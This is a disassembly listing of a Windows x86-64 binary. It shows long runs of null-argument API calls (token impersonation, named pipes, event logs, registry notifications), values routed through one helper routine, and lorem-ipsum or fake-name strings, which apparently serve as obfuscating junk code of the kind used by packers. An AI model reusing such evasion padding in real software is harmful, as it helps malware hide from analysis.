mov dword [rcx], eax
mov rax, qword [0x004ca780]
mov dword [rax], 0x4a6fd58f
mov rax, qword [0x004cae70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2f0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0xa8], rax
call rax
mov ecx, 0x1bfe7b6b
call fcn.00414620
mov rcx, qword [0x004ca7f0]
mov dword [rcx], eax
mov rax, qword [0x004ca2a0]
xor ecx, ecx
mov dword [rax], 0xb28626cd
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov r10, qword [0x004cab00]
mov rdx, qword [0x004ca380]
lea rcx, str.Sequi_est_nisi_minima_corrupti_unde
mov eax, dword [r10]
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004ca470]
mov rcx, qword [0x004caad0]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rbx
mov ecx, dword [rbp]
call fcn.00414620
mov r14, qword [0x004caba0]
xor ecx, ecx
mov dword [r14], eax
mov rax, qword [0x004ca6b0]
mov dword [rax], 0x8c58d3d
call rdi
mov rax, qword [0x004ca430]
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rax], 0xbb510817
call rbp
mov rax, qword [0x004ca240]
mov rdx, qword [0x004cae90]
mov ecx, 0x81bdd752
mov dword [rax], 0x998b9bf4
mov rax, qword [0x004caed0]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
mov rcx, qword [0x004ca200]
mov dword [rcx], eax
mov ecx, 0xb5d4bd96
call fcn.00414620
mov rdx, qword [0x004cac40]
mov ecx, 0x9114b331
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca2e0]
mov dword [rdx], eax
mov rax, qword [0x004ca9c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca290]
mov rcx, qword [0x004ca5d0]
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov dword [rdx], eax
mov rax, qword [0x004cac00]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r13
mov rax, qword [0x004caea0]
lea r8, str.BritneyMuller
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caee0]
mov dword [rax], edx
mov rax, qword [0x004cab30]
xor edx, edx
mov eax, dword [rax]
mov dword [r14], eax
mov rax, qword [0x004cab40]
mov dword [rax], 0x5159ce78
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov qword [rsp + 0x80], rax
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x98]
call rax
mov rax, qword [0x004caaa0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x400543f7
mov rax, qword [0x004caa50]
mov dword [rax], 0xdc879d89
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, 0x4b4c9bab
call fcn.00414620
mov rdx, qword [0x004ca2f0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cae90]
mov dword [rax], 0xa0683043
mov rax, qword [rsp + 0xa0]
call rax
mov r10, qword [0x004cab00]
xor r8d, r8d
xor ecx, ecx
mov rax, qword [0x004ca6a0]
mov edx, dword [r10]
mov dword [rax], 0xa71dd0a2
mov rax, qword [0x004ca5b0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x90]
call rax
xor ecx, ecx
call rbp
mov rax, qword [0x004ca2b0]
mov ecx, 0x7a422aed
mov edx, dword [rax]
mov rax, qword [0x004cac80]
mov dword [rax], edx
call fcn.00414620
mov rcx, qword [0x004ca1f0]
xor r8d, r8d
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004caf00]
xor ecx, ecx
mov dword [rax], 0x1b9409c3
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004ca330]
mov ecx, 0xf495d512
mov dword [rax], 0x57c7ea84
mov rax, qword [0x004ca390]
mov dword [rax], 0x3107cd3b
call fcn.00414620
mov rdx, qword [0x004ca410]
mov ecx, 0xd604488b
mov dword [rdx], eax
mov rax, qword [0x004cac20]
mov dword [rax], 0x852903fe
call fcn.00414620
mov r14, qword [0x004caa60]
mov dword [r14], eax
mov rax, qword [0x004cae60]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [r14], eax
mov rax, qword [rsp + 0xa8]
call rax
xor ecx, ecx
call r12
mov rax, qword [0x004cab40]
xor ecx, ecx
mov dword [rax], 0x9845bba9
call rdi
mov rax, qword [0x004ca6b0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca630]
mov dword [rax], edx
mov rax, qword [0x004caa50]
xor edx, edx
mov dword [rax], 0xf8800336
call rbx
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call rsi
mov ecx, 0x292a1b02
call fcn.00414620
mov rcx, qword [0x004ca490]
mov dword [rcx], eax
mov rax, qword [0x004ca5f0]
lea rcx, str.Dolorum_molestiae_rerum_aspernatur
mov edx, dword [rax]
mov rax, qword [0x004ca460]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca1c0]
lea rcx, str.Eum_quas_molestias_quaerat_at_et_voluptatibus_sed_ipsum_ex
mov edx, dword [rax]
mov rax, qword [0x004ca520]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov qword [rsp + 0xb0], rax
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cae70]
lea rdx, str.DrLuciousDAmore
lea rcx, str.SavannaHoeger
mov dword [rax], 0xae064663
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca1d0]
xor ecx, ecx
mov dword [rax], 0x85bcae0e
call rsi
xor ecx, ecx
call r12
mov rax, qword [0x004ca1a0]
mov rdx, qword [0x004caf70]
xor ecx, ecx
mov dword [rax], 0xe218651c
mov rax, qword [0x004ca200]
mov dword [rax], 0x35e85274
mov rax, qword [0x004ca400]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cae40]
xor ecx, ecx
mov dword [rax], 0x1abedf0f
call r13
lea rdx, str.MsAliyahKoepp
lea rcx, str.DrManuelaWintheiserV
mov rax, qword [rsp + 0x50]
call rax
mov r8, qword [0x004ca280]
mov rax, qword [0x004caab0]
mov rcx, qword [0x004ca710]
mov r11, qword [0x004ca790]
mov dword [rax], 0x1f214daa
mov eax, dword [r8]
mov edx, dword [r11]
mov dword [rcx], eax
mov rax, qword [0x004ca450]
mov dword [rax], 0xd1637038
mov rax, qword [0x004ca320]
mov dword [rax], edx
mov rax, qword [0x004cac20]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1d0]
mov dword [rdx], eax
mov rax, qword [0x004caad0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca3c0]
mov rdx, qword [0x004ca360]
mov dword [rcx], eax
mov eax, dword [r14]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004caf80]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x23e512bc
call r15
xor edx, edx
xor ecx, ecx
call r15
mov r8, qword [0x004ca280]
mov rax, qword [0x004cab70]
xor ecx, ecx
mov dword [r8], 0xb2f1bf74
mov dword [rax], 0x71cf4347
call rbp
mov rax, qword [0x004cadb0]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xd01dce31
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov rax, qword [0x004ca220]
mov rcx, qword [0x004ca380]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r15
mov rax, qword [0x004ca290]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf50]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r15
mov eax, dword [r14]
mov rcx, qword [0x004ca200]
mov rdx, qword [0x004ca2b0]
mov dword [rcx], eax
mov rax, qword [0x004cab80]
mov dword [rax], 0x84e23a77
mov rax, qword [0x004ca420]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cae90]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cabf0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x88]
call rax
lea rdx, str.ProfSheridanKozeyI
lea rcx, str.Dolorem_facilis_excepturi_aut_ad_maiores_voluptas_quo_aspernatur_odit
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call rbp
mov rax, qword [0x004ca2d0]
xor ecx, ecx
mov dword [rax], 0x64d3d8ff
mov rax, qword [0x004cac60]
mov dword [rax], 0x64d3d8ff
call r13
xor edx, edx
xor ecx, ecx
call r15
xor ecx, ecx
call r12
mov rax, qword [0x004cade0]
mov rcx, qword [0x004ca5d0]
xor edx, edx
lea r8, str.Vero_quo_placeat
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004ca2c0]
xor ecx, ecx
mov dword [rax], 0x4be43cbf
mov rax, qword [rsp + 0x80]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca3a0]
mov r10, qword [0x004cab00]
mov r11, qword [0x004ca790]
mov eax, dword [rax]
mov ecx, dword [r10]
mov dword [r11], eax
call fcn.00414620
mov rdx, qword [0x004ca390]
mov dword [rdx], eax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x46fe
jle 0x41d5d5
mov rax, qword [0x004ca2a0]
mov rcx, qword [0x004ca380]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0xe919c4a8
call fcn.00414620
mov r10, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rdx, qword [0x004caf50]
xor ecx, ecx
mov qword [rsp + 0xb8], r10
mov dword [rdx], eax
xor edx, edx
call r10
mov rax, qword [0x004cae50]
mov r14, qword [0x004ca3f0]
mov ecx, 0x391b9762
mov dword [rax], 0xe2f0c7c5
mov rax, qword [0x004ca610]
mov eax, dword [rax]
mov dword [r14], eax
mov rax, qword [0x004ca7e0]
mov dword [rax], 0xa4343975
call fcn.00414620
mov rdx, qword [0x004caef0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x88]
call rax
mov ecx, 0x474d5a5b
call fcn.00414620
mov rcx, qword [0x004ca5a0]
mov dword [rcx], eax
xor ecx, ecx
call r12
mov rax, qword [0x004cadd0]
mov rdx, qword [0x004caa90]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca350]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca660]
xor edx, edx
mov dword [rcx], eax
mov rax, qword [0x004caf70]
xor ecx, ecx
mov dword [rax], 0x86117a0e
call r15
lea r8, str.LeraRoob
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0xa0]
call rax
xor ecx, ecx
call r13
mov rax, qword [0x004ca3b0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xd5cc1ed4
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call rsi
mov rax, qword [0x004ca7f0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xabbdad39
call rbx
xor ecx, ecx
call rbp
mov rax, qword [0x004cae50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca4d0]
mov dword [rdx], eax
mov edx, dword [r14]
mov rax, qword [0x004caa70]
mov dword [rax], edx
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call r13
xor ecx, ecx
call rsi
mov rax, qword [0x004ca560]
mov rcx, qword [0x004ca760]
mov dword [rax], 0x1583c08f
mov rax, qword [0x004ca1c0]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0xc206fd7f
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cadb0]
mov r14, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call r14
xor ecx, ecx
call rbp
mov ecx, 0xeb92af7f
call fcn.00414620
mov r11, qword [0x004cadc0]
mov rdx, qword [0x004ca650]
xor ecx, ecx
mov dword [rdx], eax
mov edx, dword [r11]
mov rax, qword [0x004ca3e0]
mov dword [rax], edx
mov rax, qword [0x004ca490]
mov dword [rax], 0x31559169
call r12
xor ecx, ecx
call rsi
mov rax, qword [0x004caed0]
xor ecx, ecx
mov dword [rax], 0x44445ae
call rdi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x90]
call rax
mov rax, qword [0x004cac10]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca450]
xor edx, edx
lea r8, str.Sed_dolor_consequatur_itaque
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
lea r8, str.TabithaHill
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
xor ecx, ecx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
xor edx, edx
lea rcx, str.Et_repudiandae_iusto_architecto_maiores_modi
mov rax, qword [rsp + 0x68]
call rax
lea rdx, str.MrCaseyRutherford
lea rcx, str.GunnarQuigley
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call r12
lea rcx, str.ChasityBahringer
mov rax, qword [rsp + 0x78]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r14
mov ecx, 0x37de322a
call fcn.00414620
mov rdx, qword [0x004cabd0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0xa8]
call rax
xor edx, edx
lea rcx, str.Modi_mollitia_odio_qui_ratione_magnam_necessitatibus
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca6a0]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x004caa50]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cac90]
xor ecx, ecx
mov dword [rax], 0x77b48fe1
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call rsi
xor ecx, ecx
call r12
mov r8, qword [0x004cabb0]
mov rax, qword [0x004cac60]
mov ecx, 0x81243d17
mov rdx, qword [0x004ca3c0]
mov dword [rax], 0x7c13c98f
mov eax, dword [r8]
mov dword [rdx], eax
call fcn.00414620
mov rcx, qword [0x004ca380]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call rbx
mov rax, qword [0x004cadf0]
xor ecx, ecx
mov dword [rax], 0x15251f12
mov rax, qword [rsp + 0x98]
call rax
xor edx, edx
lea rcx, str.EdwinRenner
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x90]
call rax
mov rax, qword [0x004ca9f0]
mov rdx, qword [0x004cae10]
mov dword [rax], 0x585adeef
mov rax, qword [0x004caa10]
mov dword [rax], 0xf68aa348
mov rax, qword [0x004ca530]
mov ecx, dword [rax]
mov dword [rdx], ecx
mov rdx, qword [0x004ca4c0]
mov edx, dword [rdx]
mov dword [rax], edx
mov rax, qword [0x004caed0]
mov ecx, dword [rax]
call fcn.00414620
mov r12, qword [0x004caca0]
mov ecx, 0x649e0a89
mov dword [r12], eax
call fcn.00414620
mov rdx, qword [0x004cad20]
mov r14, qword [0x004ca7c0]
lea rcx, str.Ratione_eveniet_aperiam_itaque_corrupti_doloribus_sunt
mov dword [rdx], eax
mov rax, qword [0x004cab50]
mov eax, dword [rax]
mov dword [r14], eax
mov rax, qword [0x004cac20]
mov dword [rax], 0xe824941
mov rax, qword [0x004cab70]
mov dword [rax], 0x8aafa0d6
mov rax, qword [rsp + 0xb0]
call rax
mov rax, qword [0x004ca410]
mov ecx, 0x12b68657
mov dword [rax], 0x9f0820e
call fcn.00414620
mov ecx, 0xcbdd182c
mov dword [r12], eax
call fcn.00414620
mov rdx, qword [0x004cac50]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call rdi
mov rax, qword [0x004ca690]
mov r11, qword [0x004cadc0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r11], eax
mov rax, qword [0x004caf20]
mov dword [rax], 0xa08735d0
mov rax, qword [rsp + 0x88]
call rax
mov rax, qword [0x004ca1f0]
mov dword [rax], 0xb7516423
mov rax, qword [0x004ca1a0]
mov eax, dword [rax]
mov dword [r14], eax
mov rax, qword [0x004cad30]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca760]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call rbx
lea rcx, str.ChandlerLowe
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004cada0]
mov dword [rax], 0xd287e09c
mov rax, qword [0x004cae90]
mov ecx, dword [rax]
call fcn.00414620
lea rcx, str.JanieMills
mov dword [r14], eax
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004ca9b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca710]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004ca810]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab10]
mov ecx, 0xdcff95c4
mov dword [rdx], eax
call fcn.00414620
mov rcx, qword [0x004ca390]
mov dword [rcx], eax
xor ecx, ecx
call r13
lea rdx, str.Et_doloribus_voluptatem_qui_impedit_accusantium
lea rcx, str.ElvieLubowitz
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004caf30]
mov ecx, 0x6ff1d30a
mov dword [rax], 0x74753b65
call fcn.00414620
mov rdx, qword [0x004ca330]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca380]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca480]
mov dword [rax], edx
call rsi
xor ecx, ecx
call rdi
mov rax, qword [0x004ca720]
mov rsi, qword [0x004caf40]
xor edx, edx
mov r8, qword [0x004cabb0]
lea rcx, str.HaydenMcGlynnDDS
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004ca620]
mov eax, dword [rax]
mov dword [r8], eax
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca2a0]
xor ecx, ecx
mov dword [rax], 0xcfbcfc7f
call rbp
mov rax, qword [0x004caf60]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf10]
lea rcx, str.MozelleGutkowski
mov dword [rdx], eax
mov rax, qword [0x004ca6e0]
mov dword [rax], 0x7d601b88
mov rax, qword [rsp + 0x78]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call r13
mov r10, qword [rsp + 0xb8]
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword [0x004cadf0]
mov ecx, dword [rax]
call fcn.00414620
xor edx, edx
lea rcx, str.JavonteKeelingMD
mov dword [r12], eax
mov rax, qword [0x004caad0]
mov dword [rax], 0x2fbc73ff
mov rax, qword [0x004cada0]
mov dword [rax], 0x93aa0107
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca700]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca2c0]
mov ecx, 0xec70af68
mov dword [rdi], eax
mov rax, qword [0x004cad40]
mov dword [rax], 0xe46cd90e
call fcn.00414620
mov rsi, qword [0x004ca420]
lea rcx, str.CordeliaWaters
mov dword [rsi], eax
mov rax, qword [rsp + 0x78]
call rax
lea r8, str.ElouiseDach
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
mov ecx, 0xaab3d6ae
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca270]
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov rax, qword [0x004cab40]
mov ecx, 0xd79cb17e
mov rdi, qword [0x004caea0]
mov eax, dword [rax]
mov dword [rdi], eax
call fcn.00414620
mov rsi, qword [0x004cae40]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004caed0]
mov dword [rax], 0x7863fa47
call r15
xor ecx, ecx
mov rax, qword [rsp + 0x88]
call rax
mov rax, qword [0x004caa10]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xd781da86
call rbx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x194]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xa0], rax
inc rax
je 0x421a7c
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x41e544
mov ecx, 0xce1cf924
call fcn.00414620
mov rbx, qword [0x004cac00]
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x50], rax
call rax
mov rsi, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call rsi
mov r14, qword [0x004ca3b0]
xor edx, edx
xor ecx, ecx
mov rdi, qword [0x004ca200]
lea r8, str.JarredReynolds
mov eax, dword [r14]
mov dword [rdi], eax
mov rax, qword [str.eNl.h_Q]
mov dword [rax], 0x5fbbb896
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca6e0]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004cad70]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
mov rbx, qword [sym.imp.KERNEL32.dll_SetCommMask]
call rbx
xor edx, edx
mov r15, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.Qui_natus_rerum_sit
call r15
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [0x004ca3d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca520]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov qword [rsp + 0x88], rax
call rax
mov ecx, 0xa59c0803
call fcn.00414620
mov rdi, qword [0x004ca790]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rsp + 0xa8], rax
call rax
mov r13, qword [0x004ca7e0]
mov rax, qword [0x004ca390]
mov ecx, dword [r13]
mov edx, dword [rax]
mov rax, qword [0x004cac10]
mov dword [rax], edx
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cae30]
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor edx, edx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004ca220]
xor ecx, ecx
mov dword [rax], 0xcaccb406
call rsi
mov rdi, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cac90]
mov ecx, 0x8e37ffd5
mov dword [rax], 0xe95b0e73
call fcn.00414620
mov rcx, qword [0x004ca3c0]
mov dword [rcx], eax
xor ecx, ecx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x80], rax
call rax
mov rax, qword [0x004ca470]
mov rdx, qword [0x004ca3e0]
xor ecx, ecx
lea r8, str.ProfLeslieCummings
mov dword [rax], 0xce3573d2
mov rax, qword [0x004ca260]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x90], rax
call rax
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cadb0]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caab0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004ca810]
lea rcx, str.GustFeeney
mov edx, dword [rax]
mov rax, qword [0x004ca7f0]
mov dword [rax], edx
mov rax, qword [0x004cab40]
mov dword [rax], 0xc9689e4c
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov qword [rsp + 0xb0], rax
call rax
lea r8, str.Et_sequi_accusantium_assumenda_iste_est_voluptatibus_perferendis_voluptatem_magnam
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Dolores_culpa_voluptatibus
lea rcx, str.Ipsum_eligendi_quasi_quia_sed_et
mov qword [rsp + 0x98], rax
call rax
mov rax, qword [0x004ca3a0]
mov dword [rax], 0xd51d4441
mov rax, qword [0x004ca7a0]
mov dword [rax], 0x20241957
mov rax, qword [0x004ca6c0]
mov ecx, dword [rax]
call fcn.00414620
lea rdx, str.RalphWillms
lea rcx, str.Recusandae_ullam_amet_necessitatibus_et_praesentium_iure_consequatur
mov dword [r13], eax
mov rax, qword [rsp + 0x98]
call rax
mov ecx, 0xaf614170
call fcn.00414620
mov rcx, qword [0x004cae40]
mov dword [rcx], eax
mov rax, qword [str.Z2iy]
mov ecx, 0x8f3ed48e
mov edx, dword [rax]
mov rax, qword [0x004cadf0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004cae80]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
mov qword [rsp + 0x70], rax
call rax
xor edx, edx
lea rcx, str.HerbertRoob
call r15
mov rax, qword [0x004cae90]
xor ecx, ecx
mov dword [rax], 0xb99a87cd
call rsi
mov rax, qword [0x004ca800]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x8713b6cf
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call rsi
mov rbp, qword [0x004ca5b0]
mov rax, qword [0x004ca610]
mov ecx, dword [rbp]
mov edx, dword [rax]
mov rax, qword [0x004cabe0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004cad30]
mov r12, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov qword [rsp + 0xb8], rax
call rax
mov rax, qword [0x004cae80]
mov rcx, qword [0x004cac30]
mov rdx, qword [0x004ca210]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cac20]
mov ecx, 0xbc7806b8
mov eax, dword [rax]
mov dword [rbp], eax
mov rax, qword [0x004cae90]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca490]
mov edx, dword [rax]
mov rax, qword [0x004ca680]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca450]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov rax, qword [0x004cabc0]
mov ecx, 0x2e748170
mov dword [rax], 0x40d48d59
call fcn.00414620
mov rdx, qword [0x004ca320]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca370]
mov dword [rax], 0x81da6bad
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cad40]
mov rbp, qword [0x004caaf0]
mov dword [r14], 0xb314cd82
mov rcx, qword [0x004ca630]
mov r14, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov edx, dword [rax]
mov rax, qword [0x004ca560]
mov dword [rbp], 0x1034a082
mov dword [rax], edx
mov rax, qword [0x004ca790]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r14
mov rax, qword [str.eNl.h_Q]
mov r11, qword [0x004caef0]
mov rdx, qword [0x004caf50]
mov rcx, qword [0x004cad40]
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [r11]
mov dword [rcx], eax
mov ecx, 0xec2deeba
call fcn.00414620
mov rdx, qword [0x004caba0]
mov dword [rdx], eax
